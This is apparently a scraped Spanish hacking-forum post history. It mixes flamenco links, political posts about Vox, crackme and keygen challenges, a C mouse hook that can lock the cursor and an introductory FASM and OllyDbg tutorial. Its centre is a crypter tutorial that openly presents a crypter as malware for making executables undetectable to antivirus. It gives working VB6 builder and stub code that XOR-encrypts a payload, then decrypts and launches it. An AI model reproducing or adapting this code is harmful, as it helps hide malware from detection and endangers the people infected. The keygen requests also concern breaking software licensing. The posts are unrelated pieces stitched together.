Temas

Porque de cantar poco....

[youtube=640,360]https://www.youtube.com/watch?v=z3pvG8VHeZM[/youtube]

Esto es cantar....

[youtube=640,360]https://www.youtube.com/watch?v=d7441PTB82o[/youtube]

Obviamente estaba escuchando la paquera y salto el otro en sugerencias 

Encontre este video por youtube, es interesante.

[youtube=640,360]https://www.youtube.com/watch?v=hv3qlbpOR_I[/youtube]

saludos.

[Vox retira su apoyo al Ejecutivo, pide su dimisión y la creación de un Gobierno de 'emergencia nacional']

Vox retira su apoyo al Ejecutivo, pide su dimisión y la creación de un Gobierno de 'emergencia nacional'


Una vez más parece ser a VOX no le importan una ***** los Españoles y que solo quiere rascar unos pocos votos.
La mejor solución que plantea es cesar al gobierno.




El presidente de Vox, Santiago Abascal, ha pedido un Gobierno de 'emergencia nacional' ante la "incapacidad, negligencia y gestión criminal de esta crisis" del Ejecutivo de Sánchez.


#LaEspañaQueNoQuieres

Estaba mirando  un crackme cuando derrepente me di cuenta de que un crackme estaba empacado con UPX, sin embargo el RDG Packer detector no me lo detectaba como empacado. ¿Suele pasar esto a menudo? ¿Cual es el mejor detector de packers actual?

saludos.

[Vox admite que recibió dinero del exilio iraní para la campaña de las elecciones europeas del 2014]

Vox admite que recibió dinero del exilio iraní para la campaña de las elecciones europeas del 2014

El portavoz del partido, Espinosa de los Monteros, reconoce que cobró "muy brevemente" y niega haber recibido un sueldo durante ocho meses



El portavoz de Vox en el Congreso, Iván Espinosa de los Monteros, ha admitido que la campaña de las elecciones europeas del 2014 estuvo financiada en un 80% por donaciones procedentes del exilio iraní. 'El País' publica que tanto Espinosa de los Monteros como el presidente del partido, Santiago Abascal, recibieron una nómina de la formación entre febrero y octubre del 2014. En el caso del actual portavoz en el Congreso, asegura que el salario fue de 2.300 euros netos mensuales, unos 3.083 brutos.

Espinosa de los Monteros ha reconocido este martes que cobró "muy brevemente" de Vox durante la campaña para las elecciones europeas del 2014, que estuvo financiada en un 80% por donaciones provenientes del exilio iraní, pero niega haber recibido un sueldo durante ocho meses.

800.000 euros del exilio iraní
El portavoz parlamentario de Vox ha explicado a los medios de comunicación antes de la reunión de la Junta de Portavoces del Congreso que la campaña de Vox al Parlamento Europeo del 2014, con Alejo Vidal-Quadras como candidato, fue financiada en un 20% por donaciones de afiliados del partido y el 80% restante por "el exilio persa". En concreto, las donaciones de afiliados y simpatizantes fueron de 200.000 euros mientras que las del exilio iraní sumaron otros 800.000 euros, según ha detallado en Twitter.

Esta financiación fue "absolutamente legal", según ha defendido Espinosa de los Monteros, y se recibió de manera "muy transparente" por parte de personas "perfectamente identificadas". "Abogados, médicos y consultores que viven en Occidente y se oponen al régimen totalitario y terrorista de los ayatolás de Irán", ha resumido.

Niega cobrar un salario durante 8 meses
De esta financiación, ha reconocido que él cobró "muy brevemente" por participar en la campaña electoral de Vox y después estuvo "dos años sin cobrar". "No cobré el salario durante ocho meses", ha negado.

Espinosa de los Monteros ha rechazado estas afirmaciones, que cree que solo tienen el objetivo de "tapar la verdadera noticia", que a su juicio es la financiación de Podemos con fondos "provenientes de regímenes totalitarios con vínculos con el terrorismo".

Según ha insistido, la financiación de Vox se ha hecho siempre "conforme a la legislación". En el caso de las elecciones al Parlamento Europeo del 2014 "sin mucho éxito", ya que Vox no obtuvo representación en la Eurocámara.

Además, ha garantizado que los cinco años siguientes el partido se mantuvo solo con las cuotas y donaciones de sus afiliados y solo cobraron una nómina un grupo "muy reducido de personas", mientras que la mayoría colaboraban de forma voluntaria.

En Comú habla de "terrorismo iraní"
El dirigente de En Comú Gerardo Pisarello considera demostrado que Vox ha recibido financiación "del terrorismo iraní" y que, por tanto, no puede "dar lecciones" a los demás: "Ven la paja en el ojo ajeno, pero no la financiación terrorista iraní en el propio", ha comentado en el Congreso.

Pisarello ha hecho referencia a las informaciones sobre la contribución del exilio iraní a Vox y lo ha contrastado con las constantes denuncias del partido de Santiago Abascal por las relaciones económicas de miembros de Podemos con el régimen venezolano.

A su juicio, "Vox es una fuerza financiada por el terrorismo iraní" y ese dinero, ha añadido, no se le dio "por casualidad", sino que ha sido utilizado para "bloquear una agenda progresista, utilizar las cloacas mediáticas y políticas y financiar noticias falsas para evitar que se hable de lo importante, como la subida del salario mínimo, las pensiones o la agenda social".

"No vamos a dejar que nos dé lecciones la extrema derecha, que recibe financiación del terrorismo irani para bloquear la agenda de cambio -ha señalado-. La extrema derecha es la que ha utilizado las vías judiciales para perseguir a los adversarios políticos".

Fuente: https://www.elperiodico.com/es/politica/20200128/vox-admite-recibio-dinero-exilio-irani-campana-elecciones-europeas-2014-7825254

Este crackme es jodido... yo todavía no lo he resuelto la verdad... trabaja con excepciones CREO.

A ver si alguno de vosotros es capaz de meterle mano y nos  ilumina a los pobres.

http://ge.tt/9hMpkyt2

Lo descargue de crackmes.one en la página lo catalogan como nivel 4 'hard'

saludos!!

Pues eso... opiniones 

Pues como esta el subforo animado, continuamos con otro keygen este es de Softdat@CLS.

Objetivos:
    -Obtener una validación.
    -Crear keygen.
    -Crear tutorial.


Descarga:

http://ge.tt/3XrY9wt2

saludos!!

Pues eso... quiero obtener una cuenta en forocoches pero no pienso pagar  algún alma caritativa por ahí al que le sobre una invitación? 

saludos!!

Aquí os dejo esto que acabo de crear 

Código [Seleccionar] Expandir

https://turbobit.net/6aa4wraynw7x.html

El hosting tiene una poquita publicidad, pero es el único que he encontrado que me deja subir archivos sin registrarme.

Reglas del reto, crear un KeyGen

saludos!

He estado mirando el foro y a pegado un bajón grande últimamente... creo que hay que actualizarse y pasar a primer plano secciones como .NET y JAVA, foros sobre Android y móviles entre otras cosillas...

¿No os parece?

un saludo y opiniones por favor!!!

Pues eso... ¿Cuál es para vosotros el mejor sistema operativo que ha sacado Windows?

Buenas,

Se que al cargarse un ejecutable en el sistema se cargan una serie de DLL por defecto, presupongo que las DLL que se cargan estan indicadas en alguna ruta del registro del sistema.... ¿Cuál es la ruta?

Saludos.

En el subforo de "Programacion Visual Basic" se postean continuamente temas que deberían ir en la sección de .NET.

Propongo cambiar de nombre la sección por "Visual Basic 6.0 y anteriores" o bién especificar en la descripción del foro que es para 6.0 e inferiores y no para Visuas Basic .NET.

Saludos.

Otro crackme facilito de la web que veniamos hablando.

https://www.sendspace.com/file/blagfx

saludos!!

Bueno, aquí un crackme que me descargue de esta página. Necesito un seríal, quien es capaz de desguazarlo?  

Es nivel básico.

Descarga:

https://www.sendspace.com/file/vkl4oy

saludos.

Este tema surgió en base a una pregunta de Mester que quería saber la posición del ratón en la pantalla sin hacer mucho uso de la memoria del ordenador. Creo que la forma de que consuma menos recursos es mediante hooks, aquí el ejemplo...

Código (c) [Seleccionar] Expandir

// Hook al Ratón

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

LRESULT CALLBACK LowLevelMouseProc(int    nCode, WPARAM wParam, LPARAM lParam)
{
   PMSLLHOOKSTRUCT raton = (PMSLLHOOKSTRUCT)lParam;

   system("CLS");
   printf("X:%i\tY:%i\n",raton->pt.x, raton->pt.y);

   return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HHOOK MouseHook = SetWindowsHookEx(WH_MOUSE_LL,LowLevelMouseProc,hInstance,0);

   MessageBoxA(0,"Si pulsas aceptar acabará el programa",0,0);
   return 0;
}


Pueden dar su opinión si piensan que hay una manera mas óptima de hacerlo.

saludos.



Si quieres inutilizar el raton:

Código (c) [Seleccionar] Expandir

LRESULT CALLBACK LowLevelMouseProc(int    nCode, WPARAM wParam, LPARAM lParam)
{
    PMSLLHOOKSTRUCT raton = (PMSLLHOOKSTRUCT)lParam;

    if (raton->pt.x != 0 || raton->pt.y != 0);
    {
        SetCursorPos(0,0);
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

[¿Que es un cripter?]

¿Que es un cripter?

Es un malware que hace indetectable un ejecutable.  
Básicamente lo que hace es guardar cifrados los datos del ejecutable detectado, haciendo invisible el archivo para los AV. Una vez que se ejecute el archivo cifrado el programa lo descifra y ejecuta.

Tipos de cripters.

Existen dos tipos:

-Scantime: El programa que queremos proteger al descifrarlo se guarda en disco para ejecutarlo.
-Runtime: el programa que estamos protegiendo se ejecuta en memoria sin guardarlo en el disco.

Funcionamiento del cripter.

Esto puede parecer complejo al principio pero es muy simple. Para que un cripter funcione tenemos que tener dos archivos:

-Builder (o Creador): será  el que se encargara de cifrar el archivo que queremos proteger  y unirlo con el stub.
-Stub: es el ejecutable que descifra el archivo y lo ejecuta, osea el que protege el archivo haciendolo indetectable.

Teniendo claro que tenemos que tener esos dos archivos para que nuestro ejecutable funcione vamos a verlo mas despacio....

Paso 1: el builder lee el archivo que queremos proteger y cifra sus datos.
Paso 2: El builder lee el stub y coge sus datos
Paso 3: El builder genera un archivo exe con la siguiente estructura...
   STUB + "MARCA" + DATOS CIFRADOS
la "MARCA" sera lo que nos indique el final del stub y donde empiezan los datos que hay que descifrar y ejecutar.
Paso 4: Una vez que tenemos generado nuestro archivo protegido el stub se ejecuta, se lee a si mismo,  busca la "MARCA" y todos los datos que hay a partir de ahi los descifra y  los ejecuta.

Programando la teoría.

Primero programaremos el builder, el builder es generico, osea sirve para un cripter scantime o runtime, vemos el código comentado...

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Sub AbrirArchivo_Click() ' Boton con el que seleccionaremos el archivo ejecutable
   With CD ' Objeto CommonDialog
       .Filter = "Archivos ejecutables |*.exe" ' Le decimos que solo puedan seleccionar archivos ejecutables
       .ShowOpen
       Text1.Text = .FileName ' Guardamos el ejecutable que selecciono en el textbox1
   End With
End Sub

Private Sub Cifrar_Click() ' Boton que cifra y genera el archivo
   Dim Datos As String
   Dim DatosCifrados As String
   Dim Stub As String
   
   Open Text1.Text For Binary As #1 ' Leemos el archivo que queremos cifrar
       Datos = Space(LOF(1))
       Get #1, , Datos
   Close #1
   
   DatosCifrados = CifrarDatos(Datos) ' Ciframos los datos
   
   Open App.Path & "\Stub.exe" For Binary As #2 ' Leemos el stub
       Stub = Space(LOF(2))
       Get #2, , Stub
   Close #2
   
   Open App.Path & "\Generado.exe" For Binary As #3 ' generamos el ejecutable final cifrado:
       Put #3, , Stub ' Escribimos el stub
       Put #3, , "FORO.ELHACKER.NET" ' Escribimos nuestra "MARCA"
       Put #3, , DatosCifrados ' Escribimos los datos cifrados
   Close #3
   
   MsgBox "Archivo cifrado" ' Terminamos de cifrar
End Sub

Public Function CifrarDatos(Datos As String) As String ' Funcion que cifra los datos
   Dim i As Integer
   Dim Buffer As String
   
   For i = 1 To Len(Datos)
       Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
   Next i
   
   CifrarDatos = Buffer
End Function

Ahora el stub (de un cripter scantime).

Código (vb) [Seleccionar] Expandir

Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
  Dim Misdatos As String
  Dim cifrados As String
  Dim Descifrados As String
 
  Open App.Path & "\Generado.exe" For Binary As #1 ' Nos leemos a nostros mismos
      Misdatos = Space(LOF(1))
      Get #1, , Misdatos
  Close #1
 
  cifrados = Split(Misdatos, "FORO.ELHACKER.NET")(1) ' Obtenemos lo que hay a partis de la marca
 
  Descifrados = CifrarDatos(cifrados) ' Desciframos el ejecutable que teniamos guardados
 
  Open App.Path & "\Descifrado.exe" For Binary As #1 ' Generamos el ejecutable
      Put #1, , Descifrados  ' NOTA: Normalmente se extrae el archivo en otra ruta, no en la ruta donde esta el ejecutbale cifrado.
  Close #1
 
  Call ShellExecute(Me.hwnd, "Open", App.Path & "\Descifrado.exe", "", "", 1) ' Ejecutamos el ejecutable
End Sub

Public Function CifrarDatos(Datos As String) As String ' Funcion que descifra los datos
   Dim i As Integer
   Dim Buffer As String
   
   For i = 1 To Len(Datos)
       Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
   Next i
   
   CifrarDatos = Buffer
End Function


Bién, ya tenemos programado nuestro primer cripter  



Ahora para hacerlo RunTime (Que son los que se usan normalmente) lo que tenemos que hacer es crear un RunPE, pero esto no se tratará en este tutorial. Para poder entender su funcionamiento podeis leer sobre el formato PE, aquí un tema con información al respecto:

http://foro.elhacker.net/analisis_y_diseno_de_malware/formato_pe-t446963.0.html

Espero que haya servido como guia a los que no tenian idea de como hacerlo, ahora tengan una base.

saludos.

Jerez, esta localidad donde se dice que se invento la bulería, ha dado fenomenos como estos:

[youtube=640,360]https://www.youtube.com/watch?v=qf-nCf2mNfk[/youtube]

[youtube=640,360]https://www.youtube.com/watch?v=D57UOg9VDSQ[/youtube]

[youtube=640,360]https://www.youtube.com/watch?v=dPB8bZLuXBU[/youtube]

[youtube=640,360]https://www.youtube.com/watch?v=EKWyn2e1Zmg[/youtube]

[youtube=640,360]https://www.youtube.com/watch?v=d7441PTB82o[/youtube]

[youtube=640,360]https://www.youtube.com/watch?v=p5ypbEOZLUU[/youtube]


[youtube=640,360]https://www.youtube.com/watch?v=Vkn_0FgZrlc[/youtube]


Sin duda alguna, En Jerez es donde más artistas flamnecos salen de españa y con diferencia.

Hay mas pero sería largo exponer a todos  

[youtube=640,360]https://www.youtube.com/watch?v=-dW-uFO1AIQ[/youtube]

saludos.

[Msgbox]

Uno de los grandes problemas que tuve al aprender ASM fue que yo venia de un lenguaje de alto nivel, debido a esto tuve muchos problemas para aprender a programar en este lenguaje, ya que para depurarlo no me servia un típico Msgbox. Por eso y por que hay una serie de usuarios que se quieren iniciar en este maravilloso lenguaje me he animado a ir escribiendo esto, con el fin de que puedan tener una base para realizar sus programas.

Este texto trabajará sobre Windows y para aplicaciones de 32 bits. También decir que se utilizará Flat Assembler, que es Open Source y gratuito, puedes obtener su ultima versión aquí:

http://flatassembler.net/download.php

Dicho esto, comencemos.

VARIABLES Y REGISTROS.

En ensamblador no existen las variables de tipo int, long, string y etc. Las variables pueden ser DWORD (4 bytes), WORD (2 bytes) o BYTE (1 byte).

Una variable de tipo DWORD se declara así:

Código (asm) [Seleccionar] Expandir

mivariable dd 0

Donde mivariable es el nombre que le damos a la variable, con el dd de indicamos que es un DWORD y el 0 indica que le damos como valor inicial un valor nulo, osea, cero.

La declaración para un WORD:

Código (asm) [Seleccionar] Expandir

mivariable dw 0

y para el BYTE:

Código (asm) [Seleccionar] Expandir


mivariable db 10

Con el 10 le indicamos que es una variable con tamaño de 10 bytes.

Luego estan los registros del microprocesador, que són los siguientes:

- EAX
- EBX
- ECX
- EDX

Los registros tienen un tamaño de 4 bytes ya que estamos programando para 32 bits.

Los podrémos usar como punteros o para almacenas información (que no supere los 4 bytes).

Estos 4 registros son de uso general, es decir son los guerreros a pie de nuestro programa. Con ellos podremos mover información de unas variables a otras, recibir el retorno de las funciones del sistema o  realizar operaciónes como multiplicar o dividir.

Además de esos 4 registros también tenemos los registros EDI y ESI. Estos registros los podemos usar también como los anteriores, aunque su propósito es otro. Normalmente complementan algunas intrucciones. También se verá mas adelante su utilidad.

Los registros EBP y  ESP son los que indican la parte baja y la parte alta de la pila, que se explicará a continuación.

Y por último el registro EIP,  este es el que indica la posición en memoria de la instrucción que se esta ejecutando. Cuando depuremos nuestra aplicación mas adelante veremos su uso.

Como aclaración decir que todos los registros tienen una capacidad de 4 bytes.

LA PILA

La pila es una "estructura", en la que almaceramos información para pasarle argumentos a nuestras funciones. Para que lo entendaís mejor, si yo quiero llamar a la API MessageBoxA lo que haré será meter sus 4 parametros en la pila y entonces llamar a la función.

La pila tiene una base, que la indica el registro EBP y una parte alta, que la indica el registro ESP.

Cada vez que introducimos un valor en la pila el registro ESP decrementa en 4. Este registro tiene que estar siempre estable ya que si no es así nuestra aplicación estallará.

Aquí entran en juego las convenciones de llamada. Esta el tipo stdcall, que es el que usa Windows y el cdecl, que lo usan algunas librerías como las de C.

En el caso de que la llamada sea de tipo stdcall NO tenemos que restaurar el registro ESP, ya que lo hace la propia función, sin embargo si es cdecl, si la tendremos que restaurar. Un ejemplo es si a la función printf de C de pasamos dos argumentos, tendremos que sumar al registro ESP 8 bytes, ya que cada argumento ocupa 4 bytes.

Y bueno, sobre este tema decir poco más, creo que es suficiente para entender el concepto.

EL JUEGO DE INSTRUCCIONES.

MOV Mueve datos entre variables y registros, unos ejemplos de su uso:

Código (asm) [Seleccionar] Expandir


mov eax, edx ; Mueve el contenido del registro EDX al registro EAX
mov [mivariable], eax ; mueve el contenido de EAX a la variable "mivariable"


No se permiten mover datos entre variables, con lo cual

Código (asm) [Seleccionar] Expandir

mov [mivariable], [otravariable]

no es valido, para hacer eso tendríamos que mover el valor de "otravariable" a un registro y luego mover el registro a "mivariable".

NOTA: con el caracter ";" se ponen comentarios en el código
NOTA 2: los corchetes [] indican que lo que queremos es acceder al valor de la variable, no al puntero.

ADD con esta intruccion se realizan operaciones de suma, ejemplos de uso:

Código (asm) [Seleccionar] Expandir


add eax, 10 ; se suma al valor que contenga EAX 10.
add [mivariable], 5; se le suma al valor de la variable 10

Código (asm) [Seleccionar] Expandir

SUB al igual que ADD suma, SUB resta, su uso es igual.

INC incrementa el valor de la variable o registro en 1, ejemplos:

Código (asm) [Seleccionar] Expandir

inc eax ; incrementa el valor de EAX en 1
inc [mivariable] ; incrementa el valor de mivariable en 1

DEC decrementa el valor, su uso es similar a inc.

MUL instrucción para multiplicar,  esta instrución funciona de la siguiente manera:

Código (asm) [Seleccionar] Expandir

mov [mivariable], 2
mov eax, 2
mul [mivariable] ; Multiplica 2*2.
; resultado en el registro EAX y EDX

NOTA: el registro EDX debe valer 0 a la hora de multiplicar.

DIV instrucción que se usa para dividir, funciona de la sigueinte manera:

Código (asm) [Seleccionar] Expandir

mov [var], 2
mov eax, 10
div [var]
; EAX = resultado
; EDX = residuo


EDX tiene que valer  0 antes de realizar la operación.

push introduce un valor en la pila.

Código (asm) [Seleccionar] Expandir

push eax
push [mivar]

pop saca un valor de la pila.

pop eax ; el valor que contenia la pila ahora lo tiene EAX
pop [mivar] ; el valor que contenia la pila ahora lo tiene mivar

jmp salto hacia una parte del código, ejemplo:

Código (asm) [Seleccionar] Expandir

mov eax, 1
jmp Etiqueta ; saltamos
mov eax, 2 ; esto no se ejecuta
Etiqueta:
; EAX = 1

ret retorna una función, como return en C.

Código (asm) [Seleccionar] Expandir

...
...
add esp, 12
ret

cmp esta instrucción compara dos valores es el if del ASM, para usarla se necesitan otras intrucciones complementarias, estas son algunas:

je salta a a una etiqueta si los valores son iguales
jne salta a una etiqueta si los valores NO son iguales

Entre otras, que podemos ver aquí:

Código [Seleccionar] Expandir

http://www.jegerlehner.ch/intel/IntelCodeTable.pdf


Ejemplo de uso:

Código (asm) [Seleccionar] Expandir

cmp eax, edx
je Iguales
mov eax,0
ret
Iguales:
mov eax,1
ret

Si los valores son iguales devolvera 1, si no, devolvera 0.

xor realiza un xor, como en cualquier otro lenguaje, ejemplo.

Código (asm) [Seleccionar] Expandir

xor eax, edx

el resultado de la operación se guarda en el primer parametro de la instrucción, en este caso EAX

and operación aritmética, ej:

Código (asm) [Seleccionar] Expandir

and ebx, ecx

El resultado se obtiene tambien en el primer parametro, en este caso EBX

or operación aritmética, se usa igual que las dos anteriores.


ESTRUCTURA DEL CÓDIGO.

Una vez explicadas las intrucciones básicas vamos a explicar la estructura de los códigos en FASM.

Dejar claro que en ASM no es recomendable, no se puede (se puede pero no se debé) mezclar las variables con el código. La estructura es extrícta. Para generar un ejecutable podemos usar las siguientes estructuras:

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc'

.data
       ; AQUI VAN LAS VARIABLES
.code
start:

       ; AQUI EL CODIGO

       ; AL FINALIZAR EL CODIGO PODEMOS DECLARAR MAS VARIABLES.

.end start    

Ó de esta otra forma:

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc'
entry start


section '.data' readable writeable
       ; AQUI VAN LAS VARIABLES

section '.code' executable readable writeable
start:
       ; AQUI EL CODIGO

       ; AL FINALIZAR EL CODIGO PODEMOS DECLARAR MAS VARIABLES.

section '.idata' import data readable writeable

       ; AQUI VAN LAS IMPORTACIONES DE LAS FUNCIONES QUE VAMOS A USAR.    

Un ejemplo de un programa que muestra un mensaje con MessageBoxA.

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
entry start


section '.data' readable writeable ; sección de datos
       Mensaje          db 'Hola dese FASM!',0  ; debemos poner el byte nulo '0', para que sea una cadena.

section '.code' executable readable writeable ; sección de codigo
start:

       push 0   ; metemos el último parametro de la api
       push Titulo ; metemos el 3 parametro
       push Mensaje ; metemos el 2 parametro
       push 0        ; metemos el 1 parametro
       call [MessageBoxA]  ; llamamos a la API.

       ret ; retornamos la funcion. Se acbaa el programa.

       Titulo          db 'ElHacker.net',0
section '.idata' import data readable writeable ; tabla de importaciones

       library USER32, 'USER32.DLL'  ; librería donde se encuentra la API


       import USER32,\
              MessageBoxA, 'MessageBoxA' ; Función que vamos a usar              

Resultado:



Como podemos observar, para llamar a una función hay que introducir los parametros en la pila, estos parametros deben ir al revez, ya que la pila en una estructura de tipo LIFO.

Código [Seleccionar] Expandir


https://es.wikipedia.org/wiki/Last_in,_first_out


Ahora imaginemonos que queremos realizar una suma y mostrar el resultado en el mensaje.

Tenemos estad dos variables:

Código (asm) [Seleccionar] Expandir

Num1    dd 2
Num2    dd 3

Lo mas fácil es hacer esto:

Código (asm) [Seleccionar] Expandir

mov eax, [Num1]
add eax, [Num2]

push 0
push 0
push eax
push 0
call [MessageBoxA]

Sin embargo, si probamos vamos a ver que no funciona... esto se debe a que un número no es lo mismo que una cadena. En lenguajes de de alto nivel si que funcionaría, porque el compilador/interprete realiza este paso por tí.

Para poder imprimirlo deberíamos de pasarlo a cadena, bién con una funcion que implementemos nosotros ó usando algúna del sistema como por ejemplo wsprintfA.

Bueno, esto es solo un apunte puntual, sigamos...

CONOCIENDO MEJOR LOS REGISTROS: BYTES, WORD  y DWORD.

Cuando explique los registros no lo dije, pero los registros de proposito general se pueden descomponer a su vez en registros de menor tamaño.

Ya sabemos que al programar para 32 bits los registros ocupan 4 bytes, pero también podemos usar los registros de 16 y 8 bits...

Por ejemplo, el registro EAX   es la extension de AX, que es el registro de 16 bits y este otro se divide a su vez en dos registros de 1 byte, AH (que esta en la parte alta) y AL (que esta en la parte baja)




Además podemos acceder a cualquier byte, word o dword de la siguiente forma:

Para obtener un byte de una variable o registro:

Código (asm) [Seleccionar] Expandir

; Suponiendo que en la variable buffer tenemos la cadena 'hola'

mov al, byte[buffer]  ; AL = 'h'
mov ah, byte[buffer+1] ; AH = 'o'

mov al, byte[ecx] ; mueve el byte al que apunta ECX a AL.


Lo mismo pasa con los WORD:

Código (asm) [Seleccionar] Expandir


mov DX, word[buffer]

Y los DWORD:

Código (asm) [Seleccionar] Expandir

mov eax, DWORD[buffer]
mov eax, [buffer] ; esto es igual a la linea anterior

BUCLES y IF.

En ASM, no existen bucles for, while ni nada por el estilo, los bucles se hacen con contadores.

Por ejemplo un bucle infinito sería esto:

Código (asm) [Seleccionar] Expandir


Bucle:
push 0 ; estamos dentro del bucle.
push 0
push 0
push 0
call [MessageBoxA]
jmp Bucle ; saltamos a la etiqueta bucle de nuevo.

Para intentar hacer un bucle for que se ejecuta 5 veces tendríamos que hacer esto:

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.

.data
       var     dd 5
       Texto   db 'Esto se mostrara 5 veces.',0
.code
start:
       mov ecx, [var] ; movemos el valor de la variable a ECX

       Bucle:
               push ecx  ; guardamos el valor de ECX

               push 0
               push 0
               push Texto
               push 0
               call [MessageBoxA] ; llamamos a la API

               pop ecx ; Recuperamos el valor de ECX

               dec ecx ; decrementamos el valor de ECX
               cmp ecx, 0 ; Comparamos ECX con 0
               jne Bucle ; Si la comparación no es igual saltamos de nuevo a la etiqueta bucle
       ret ; retornamos la funcion y terminamos el programa.
.end start                          


Pero... Porque guardamos el registro ECX antes de llamar a la API?

Resputa: Nomalmente TODAS las funciones de windows devuelven su valor en el registro EAX y solo modifican este registro despues de llamar a la función, pero en este caso la API MessageBoxA también modifica ECX, con lo cual en ECX ya no tendríamos nuestro contador   por eso el push y pop con ECX, para guardar su valor y despues recuperarlo intacto.

Para hacer un IF en ASM tendríamos que usar la intrucción CMP, ya se ha mostrado su uso.

FUNCIONES

Para crear una función tenemos que recordar que los parametros se pasan a traves de la pila.

Lo primero para escribir el código de nuestra función es escribir una etiqueta y usar los registros ESP y EBP para acceder  los parametros que hemos introducido anteriormente en la pila.

Ej:

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.

.data
       var     dd 5
       Texto   db 'Este mensaje se ejecuta desde la funcion',0
       Titulo  db 'ElHacker.net',0
.code
start:

       push Texto
       push Titulo
       call Mensaje

       ret

       Mensaje: ; Funcion mensage.
           push ebp ; Guardamos la base de la pila
           mov ebp, esp ; movemos la parte alta de la pila a la parte baja.

           mov eax, dword[ebp+8] ; movemos el primer parametro a EAX
           mov ebx, dword[ebp+12] ; segundo parametro a EBX

           push 0 ; introducimos los parametros d ela API
           push eax
           push ebx
           push 0
           call [MessageBoxA] ; llamamos a la API

           pop ebp ; restauramos el valor de EBP
           add esp,12 ; se restaura el registro para que no se rompa la pila
           ret

.end start          

Para entender mejor el código antes de nada diré que la intrucción CALL lo que hace es introducir el valor de retorno en la pila, osea la siguiente intrucción del call para que luego el SO sepa a donde debé saltar al retornar la función.

Debido a esto para restaurar la pila hay que sumar 12 y no 8.

Código (asm) [Seleccionar] Expandir

add esp,12

Ya que son 2 parametros: 2 x 4 bytes que ocupan los punteros = 8
8 + 4 del valor de retorno cuando acabe la API = 12.

Si pasaramos 4 parametros seria 4 x 4 = 16
16 + el retorno = 20, tendriamos que sumar 20 a ESP.

Código (asm) [Seleccionar] Expandir

mov eax, dword[ebp+8] ; movemos el primer parametro a EAX
mov ebx, dword[ebp+12] ; segundo parametro a EBX

Aquí, ocurre lo mismo por la dirección de retorno, el primer parametro se encuentra a la posicion 8 el segundo en la 12 y si metieramos mas parametros se encontrarián sumando de 4 en 4 osea:

dword[ebp+16] ; tercer parametro
dword[ebp+20] ; cuarto parametro
....
....

En fin, así funciona la cosa de las funciones, cualquier duda preguntar.


OllyDbg y la depuración de nuestro programa.


La aplicación la podemos descargar gratuitamente desde aquí:

http://www.ollydbg.de/download.htm

Una vez descargada la ejecutamos y vamos a File > Open y abrimos cualquier ejecutable.
Una vez hecho esto el Olly nos deja situados en el EntryPoint del programa es decir, la primera instrucción que se ejecuta del programa.



La utilización de esta herramienta para depuración es simple porque nosotros conocemos como esta programado nuestro ejecutable pero para depurar programas que no hemos creado nosotros puede resultas lioso y complicado, no obstante como nosotros solo queremos depurar y ver como funciona no nos resultará complicado.

Ahora bién, veamos sus partes:

En el punto 1: Vemos las instrucciónes del programa, los opcodes de la instrucción y la dirección en memoria, ejemplo:

Código [Seleccionar] Expandir

0040102A  |. 09C0           OR EAX,EAX

0040102A  -> Es la posición en memoria.
09C0  -> Opcodes de la instrucción
OR EAX,EAX -> instrucción

Punto 2:  vemos los valores de los registros. Los valores del registro iran cambiando conforme vamos ejecutando instrucciones (siempre y cuando la instrucción modifique algun registro, si no se quedan como estaban)

Punto 3: El ejecutable dumpeado.
Punto 4: La pila, en el veremos los datos que se introducen en la pila y el valo rque contiene.

AHora bién veremos como se maneja el programa, para ello vamos a ensamblar un ejemplo que pusimos anteriormente:

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.

.data
       var     dd 5
       Texto   db 'Esto se mostrara 5 veces.',0
.code
start:
       mov ecx, [var] ; movemos el valor de la variable a ECX

       Bucle:
               push ecx  ; guardamos el valor de ECX

               push 0
               push 0
               push Texto
               push 0
               call [MessageBoxA] ; llamamos a la API

               pop ecx ; Recuperamos el valor de ECX

               dec ecx ; decrementamos el valor de ECX
               cmp ecx, 0 ; Comparamos ECX con 0
               jne Bucle ; Si la comparación no es igual saltamos de nuevo a la etiqueta bucle
       ret ; retornamos la funcion y terminamos el programa.
.end start

Lo ensamblamos y lo cargamos en el olly. Como es un programa pequeñito vamos a ver poca cosa  , el ASM que vemos es este:



Bién, ahora vamos a ver como depurarlo:

-Si pulsamos F9, nuestro programa correra fluidamente, es decir, como si lo estuvieramos ejecutando.
-Si pulsamos F8 vamos a ejecutar una sola instrucción.
- Si pulsamos F7 se va a ejecutar una intruccion como en F8 pero con la diferencia de que si lo pulsamos sobre una instrucción CALL entraremos en la función (con F8 esto no sucede).
-Si pulsamos F2 pondremos un BreakPoint en la instruccion que tenemos selecionada. Es decir, si ponemos un BP y pulsamos F9 el programa se ejecutara hasta llegar a la instrucción a la que le pusimos en BP (BreackPoint).

Para comprobar el funcionamiento podemos ir probando por ejemplo si ponemos un BP en esta linea:

Código (asm) [Seleccionar] Expandir

0040201D  |.^75 E7          \JNZ SHORT Tutorial.00402006

Y pulsamos F9, el programa se nos parara ahí, si lo volvemos a pulsar se nos volvera a parar, así hasta 5 veces, que son las veces que se ejecuta esa instrucción ( recordemos que es un bucle).

Vamos a probar mas cosas. En el programa vemos que guardamos ECX, pero... porque?

Bien si quitamos el push ecx y pop ecx del programa lo ensamblamos y abrimos con Olly lo vamos a ver:



Tenemos eso en el Olly y ahora vamos a ir ejecutando instrucción a instrucción pulsando F8. Pulsamos F8 hasta llegar a la llamada a MessageBox, aquí:

